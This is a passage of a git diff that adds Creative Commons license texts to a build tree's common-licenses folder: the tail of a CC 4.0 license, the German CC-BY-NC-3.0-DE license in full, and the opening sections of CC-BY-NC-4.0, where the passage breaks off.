+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-3.0-DE b/meta/files/common-licenses/CC-BY-NC-3.0-DE
new file mode 100644
index 0000000000..5d11815286
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-3.0-DE
@@ -0,0 +1,110 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihne*" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ f. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-4.0 b/meta/files/common-licenses/CC-BY-NC-4.0
new file mode 100644
index 0000000000..340cf0c959
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-4.0
@@ -0,0 +1,158 @@
+Creative Commons Attribution-NonCommercial 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ h. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ i. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ j. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ k. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ l. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
